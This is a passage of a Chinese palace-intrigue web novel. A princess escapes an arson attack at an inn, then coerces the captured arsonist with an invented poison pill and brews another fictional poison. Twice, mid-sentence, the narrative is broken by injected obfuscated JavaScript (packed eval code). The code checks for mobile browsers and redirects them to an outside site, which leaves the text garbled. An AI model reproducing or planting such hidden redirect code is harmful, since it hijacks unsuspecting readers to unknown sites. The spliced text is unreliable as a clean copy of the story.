说话间,一个农夫打扮的年轻男人,从山坡小径走下,好奇地朝这边张望,柳梓瞬间警惕起来,手按剑柄。 农夫见状吓了一跳,连忙摆手,说道:“官、官爷,您莫要误会。” “小的只是路过,刚巧看到你们车驾被困在此处。” “此处常有落石滑坡,一时半会儿绝难疏通。眼看天色将晚,此地前不着村后不着店,夜间恐有野兽或不妥。” “小的斗胆,往前再走三里地,有一家悦来客栈,虽比不得京城繁华,倒也干净安全,是方圆数十里内唯一的宿头了。” “贵人不如暂歇一晚?等明日天亮,小的再帮您去寻些民夫来一同清理道路,岂不便宜?” 见农夫态度诚挚,江芙诗示意柳梓按他所说去打探打探。 过了会,柳梓回来汇报说:“殿下,前方确有一间客栈,已粗略查验,暂无异常。眼下情形,暂歇或是稳妥之选。” 江芙诗微微颔首,示意青黛取些碎银打赏那农夫。 农夫接过赏钱,千恩万谢:“多谢贵人赏银,小的给你们带路!” 悦来客栈门面不大,看起来有些年头,坐落于南来北往的必经之路,专做行脚商旅生意。 柳梓提前与店家打过招呼,包下了客栈二楼所有的上房,并派侍卫严密把守各处通道。 奔波劳碌了一天,江芙诗确实有些倦了,由紫苏扶着先行上楼歇息。 客栈背后的山坡。 农夫快步走向背对他的华服男子,恭敬地停在他身后,说道:“二公子,一切准备就绪,都按您的计划办妥了,玉荷公主一行人已入住悦来客栈。” “好!” 曹彰狞笑转身,眼中一片怨毒。 这来路不明的野种公主,竟也敢在他面前如此嚣张,若非当时身处京城街市,众目睽睽,他岂会硬生生咽下这口恶气! 姑姑和玉瑶一直视那贱人为眼中钉、肉中刺。 若他这回能把玉荷弄死在这个地方,回去后必定是大功一件。 姑姑没准会在陛下面前多为祖父和父亲美言,到时候祖父一高兴,将来能为他争取个更好的前程! 想到这,曹彰快意十足,彷佛已经看到祖父拍着他的肩膀大加赞许的模样。 他志得意满地对农夫说:“去吧,做的干净些,别留后手。” “是!” 厢房内。 热气氤氲,水雾弥漫。江芙诗浸在浴桶中,闭目养神。 屋顶上,一道抱剑而立的身影融于浩瀚月色中。 几个鬼鬼祟祟的人影沿着客栈墙根悄无声息地移动,片刻后,一丝不太明显的火油味呛入湛霄的鼻腔,他眼神骤然一凛,身形瞬间消失在原地。 “快、快,你守这,别让玉荷公主有机会逃出来。”其中一人压低声音催促道。 农夫点点头,将火把扔到板上,瞬间,猛烈的火蛇窜了起来。 跳跃的火光映入湛霄的眼底,他身影如风,借庭院石凳一跃而起,迅捷地掠上二楼廊檐,抄起廊下的陶土花盆,朝江芙诗的窗户狠狠砸去。 “哐啷——!” 窗棂的碎裂声在寂静中惊起。 柳梓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405318|184430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与青黛紫苏等人,都被这突如其来的巨响惊动,发现楼下着火之后,柳梓疾呼:“救火!保护殿下!”,率侍卫奋力扑火并冲向二楼。 “殿下,殿下,着火了,快开门!” 江芙诗被方才的巨响惊得长睫急颤,蓦地睁开双眼,朝声音传来的地方看去,就听见门外混乱的声音。 她心头一紧,迅速披上外衣,湿漉漉的长发都来不及挽起,快步朝门口跑去。 啊!红天芒还在桌上! 正当她转过身——忽然,一道黑影从窗外一跃而过。 江芙诗猛地一顿。 是、是人影吗? 那个位置,好像正对着她刚才沐浴的地方。 “殿下快出来!楼下着火了!” “奴婢带您到庭院空旷处避一避。” 来不及多想,把装有红天芒的锦囊塞入怀中后,江芙诗再次转身冲向门口,青黛递来湿手帕让她捂住口鼻,拉着她往楼下跑。 刚抵达庭院中央,就见火舌已蹿上二楼廊檐,映得夜空一片血红,侍卫们奋力从井中打水水灭火,场面十分混乱。 没想到这么快就惊动了公主的侍卫,本来还想封锁出口的喽啰们立马转身逃跑。 几乎是一瞬间,所有人都跑了。暗地观察情况的农夫深感不妙,刚想跟上去,就被湛霄以剑柄重击颈侧,当即晕了过去。 离开前,湛霄远远瞥了眼公主。见湿发披肩的她被侍女一左一右护着,除了小脸煞白之外,没有明显伤痕。 他这才施展轻功,追上了方才逃跑的几名喽啰,只见他们几乎是连滚带爬地跑上山坡,气喘吁吁地对着曹彰说道:“二、二公子……不好了,公主侍卫反应太快,我们的计划被识破了!” 还在洋洋得意看火景的曹彰听到这话,怒不可遏:“废物!这点小事都办不好!这么好的机会都被你们浪费了,蠢货!” “公子,不能再耽搁了,快逃吧!” “小的已经在岔路口准备了快马,只要马上逃离,保准后续玉荷公主查不出所以然。” 曹彰气急,却也知道此地不宜久留,转身欲走。 隐匿于树影之中的湛霄,折断身旁柳树树梢,稍稍一抬手。 “啊——” 曹彰顿时整个人失去平衡,从山坡上滚了下去。 他惊声尖叫,在坡上翻滚了好几十下,狠狠撞向茂密的灌木丛,一根尖锐的枯枝直接贯穿了他的右手手臂。 “二公子!” “痛、痛啊!啊啊——” 曹彰疼的呲牙咧嘴,头脑发懵,站都站不起来,鲜红的血浸透了他的衣袖。 眼下撤退要紧,侍从们也管不了那么多,赶紧七手八脚地把他抬起来,趁着夜色掩护,朝着快马所在的方向仓皇奔去。 一个时辰后。 火势终于被熄灭,灰头土脸的柳梓提溜着一个男人进来,将他扔到了地上。 “殿下,定是这厮捣的鬼!末将寻到他时,他后颈肿起一个大包,尚有血迹,估计是火场混乱,被掉落的房梁或瓦砾砸晕了。” 15. 第 15 章 江芙诗换了身干净衣服,头发被大火烤得有些干枯蓬松。 她冷眼打量着地上昏迷的男人,发现此人竟是引领他们来此的农夫。 柳梓道:“此人伪装成农夫刻意接近,其心可诛,这场大火必定与他脱不了干系!” “……嗯,先将他弄醒,本宫亲自问话。” “等等。”蓉蓉冒出头来,闻了闻农夫的衣衫,肯定道:“殿下,奴婢闻到他身上有一股特殊香气。是靖国公府的青麟香,这种香用料金贵,寻常人家绝用不起,只有曹彰公子极其亲近的随从才会沾染。” 江芙诗眸色一冷。 “你确定?” “确定!奴婢家的商铺是租借靖国公府名下的铺面,每月底,府中管事前来收租时,曹彰都会亲自前来巡查账目,耀武扬威一番,所以奴婢对他身上的味道记得格外清楚,绝不会错。” 娄冰菱皱眉:“曹彰为何这样做?难不成是报复今日街市冲突?” “可这未免太过胆大包天,如果公主殿下真在此处遭遇不测,陛下定会严查追究,他就这么有把握可以全身而退,不留痕迹?” 面对娄冰菱的疑惑,江芙诗冷冷一笑。 “或许在曹彰眼里,本宫的命就是这么不值钱。死了也不过是‘意外失火’,无人会为他眼中无足轻重的公主,去深究皇后亲侄的罪责。” 娄冰菱忿忿:“简直就是无法无天,等回到京城,我一定要把这事原原本本告诉爹爹!” “没用的,仅凭一个随从的片面之词和些许香味,怎能撼动靖国公的孙子?” 江芙诗缓缓摇头。 “他们有的是法子抵赖,最后无非是推出个替死鬼顶罪。” “难道就任由曹彰逍遥法外?” “不急。” 江芙诗让柳梓把人带下,严格看管,随即吩咐紫苏,去把今日在药坊买到的药材带来,从中找出凤栖竹、地煞藤和灵芝菇,一同放到铜锅里文火熬制,沸腾后滤出浓稠药汁,再搭配些许草木灰,搓成丸子。 娄冰菱眼神惊异,忙问道:“殿下,您这是在做什么?” “不过是以前无聊时在医书上看到的方子,名曰九转蚀心丹,服下后药力会潜伏于体内,只要一摁眉心,就会心悸绞痛,如万蚁噬心。每隔三日需服一枚解药,连续服九次才可完全解毒。” “殿下何时看了这么多医书?真真是进益了!” 光看医书可做不成这毒药,这都是江芙诗日积月累,试炼出的本事。 药丸制好,农夫也醒了过来,他被绑到椅子上,面色如土,抖如筛糠。 “本宫已知晓你背后的主子是曹彰,说吧,他为什么要纵火?又是什么时候安排的?”江芙诗开门见山,一点都不废话。 农夫眼神闪烁,强作镇定:“没、没有,什么纵火,小的什么都不知道啊,更不知道曹彰是谁。” “还敢狡辩!”柳梓上前一步,反手用刀鞘狠狠击打在农夫小腿骨上,发出令人牙酸的闷响。 “啊——!啊!小的真是不知道啊!官爷饶命!” 估计是畏惧曹彰的狠辣手段远超眼前的皮肉之苦,农夫挨了好几下重击都咬紧牙关,不肯吐露半字。 见逼问无效,江芙诗朝紫苏使了个眼色。 紫苏立刻上前捏住农夫的下颚,迫使他张开嘴,将药丸迅速塞了进去,还在其胸口一拍,迫其咽下。 “还不说是吗?没关系,你已服下九转蚀心丹,三天内得不到解药的话,就会心肺俱裂而死。” 闻言,农夫不停地干呕咳嗽,想把药丸吐出来,却被柳梓死死按住,无法得逞。 见他半信半疑,江芙诗干脆来到他身边,伸出食指,狠狠往他的眉心一按。 “啊——啊!” 毒性瞬间侵蚀心脉,农夫凄厉的惨叫声响彻整家客栈。 “我说、我说……我、我叫曹三,是曹彰的贴身长随,是他命小的伪装成农夫,引导公主殿下住进这家客栈,然、然后半夜纵火,将您烧死。” “曹彰这么做,就是想出出气,他觉得被您当街羞辱,很没有面子,所以才……” 侍卫将口供记录在纸,拿给曹三画押。 “公主殿下饶命啊,曹彰有令,小的不敢不从啊,求公主殿下开恩,赐下解药,小的愿为殿下做牛做马,效犬马之劳!” “当真?” “殿下,千真万确!” “那好,你且回到国公府,今晚之事,你权当没有发生,照常陪在曹彰身边,三日后来公主府,本宫自会给你第一颗解药。” “你若是敢将今日之事透露半句,或是心存侥幸另寻他法解毒,那就别怪本宫将你的口供送到陛下案头。” 曹三被江芙诗这番话吓得魂飞魄散,跪在地上连连磕头:“殿、殿下放心,小的一定谨遵殿下吩咐,绝不敢有二心!” 柳梓拎着曹三的衣领将他带了下去。 整个客栈被烧的面目全非,厢房坍塌,梁柱焦黑,不能住人。 掌柜的趴在废墟上哭的撕心裂肺,嘴里喊着:“没了、没了,全没了,这可怎么活啊。” 江芙诗于心不忍,吩咐青黛:“去拿些银钱,给掌柜赔了吧,让他好生安顿,重整家业。” “是。” “殿下,末将方才已查看过四周,客栈旁边有一处看似荒废的茅屋,虽简陋,但稍加收拾尚可暂避风寒,请您与娄小姐移步歇息。” 兵荒马乱的一夜,江芙诗累极了,点点头。 “对了。”她转向娄冰菱,压低声音说:“有件事想要拜托你。” “殿下请吩咐。” “回京后,烦请你私下寻些天青之花,遣人暗中送至公主府。” “好。”娄冰菱没多问就应承了下来。 茅屋四壁透风。 紫苏在中央处燃起篝火后,又从马车拿出几条厚实的绒毯,铺在地上,勉强充作床铺。 夤夜寒冷,万籁俱寂,唯有篝火在噼啪作响。 火光映出娄冰菱熟睡的脸,可江芙诗却辗转难眠。 她拥着绒毯坐起,望着跳跃的火苗,白日的惊险与重重的心事交叠,毫无睡意。 忽然间,一道尖利 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16413283|184430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的啼叫声在耳边乍响,江芙诗被惊得浑身一颤,下意识地抓紧了衣襟,发出一声极轻的:“啊——” 这细微的嘤咛声让湛霄微微眯眼,警惕地扫视一周。 他悄无声息地来到茅屋,冰冷的目光穿透黑暗,瞬间锁定了屋内蜷缩在篝火旁的身影。 确认公主只是受惊坐起,周遭并无任何潜伏的危险后,他周身绷紧的肌肉才几不可察地松弛下来。 原是一只猫头鹰自屋外枯树顶掠过。 呼—— 重重吁出一口气,江芙诗捂着胸口,总感觉有什么人在盯着她。 她起身朝门口走去。 破旧的木门一打开,冷冽的晚风吹得她衣袂翻飞,巡逻的侍卫在不远处来回走动,并无任何可疑的人。 “殿下,有何吩咐?”侍卫上前问道。 “可有什么外人来过?” “回殿下,并无外人。属下等人一直在此值守,未曾离开半步。” 江芙诗重新回到茅屋,坐在篝火旁边,伸长手臂烤火。 回想今日发生的事,似乎有哪里不合逻辑。 忽然朝她下跪的曹彰,忽然被风吹灭的火引,忽然在她厢房炸开的异响……就像是有人在暗中窥视着她,并在关键时刻出手干预。 江芙诗自嘲笑笑。 她这样无权无势的公主,又会有谁这样护着她? 想必是今日奔波动荡,心神不宁而已。 重新躺下裹紧绒毯,暖呼呼的篝火驱散了夜寒,这回江芙诗没过多久就睡着了。 翌日清晨,稍微收拾停当,一行人就踏上了归途。 刚回到公主府,江芙诗立即将红天芒仔细洗干净,放到太阳底下晒干,又用玉杵小心捣碎,装入密封的瓷瓶中保存。 接着吩咐蓉蓉,在收集来的药材里,捡出三钱蛇涎草,两钱腐骨花,在庭园角落挖来一捧阴湿的泥土,将泥土放入火炉烤制,直至其焦黑成灰。 蓉蓉做事手脚麻利,还能精准地分辨出药材的优劣,一通忙活下来,效率极高,江芙诗越发觉得救下她是个无比正确的抉择。 捣鼓到了日落时分。 娄冰菱遣人送来了最重要的那味药——天青之花。 只要把它加入先前制成的药灰中一同研磨,就能制成一种罕见的毒药,天青枯荣粉。 此毒味辛,尝起来有种茶叶的甘香。 初期中毒,会感到时而寒冷,时而燥热,同时伴有短暂的气虚和四肢无力。 到后期毒入骨髓,会引发肌肉痉挛、骨骼酸痛,仿佛有人在啃噬骨头,连皮肤也会逐渐变得干燥晦暗,头发脱落。 直到耗尽元气,形销骨立而亡。 曹三回到靖国公府时,曹彰正面色惨白地躺在床上,右手手臂被厚厚的纱布包裹着,隐隐渗出血迹。 他扑通一声跪倒在床前,做出惶恐万分的样子。 “二公、公子,小的昨夜慌不择路,失足跌下山坡晕了过去,耽搁了回来的时间,请公子恕罪!” “你没被玉荷公主的人发现吧?”曹彰吃力地转过头看他。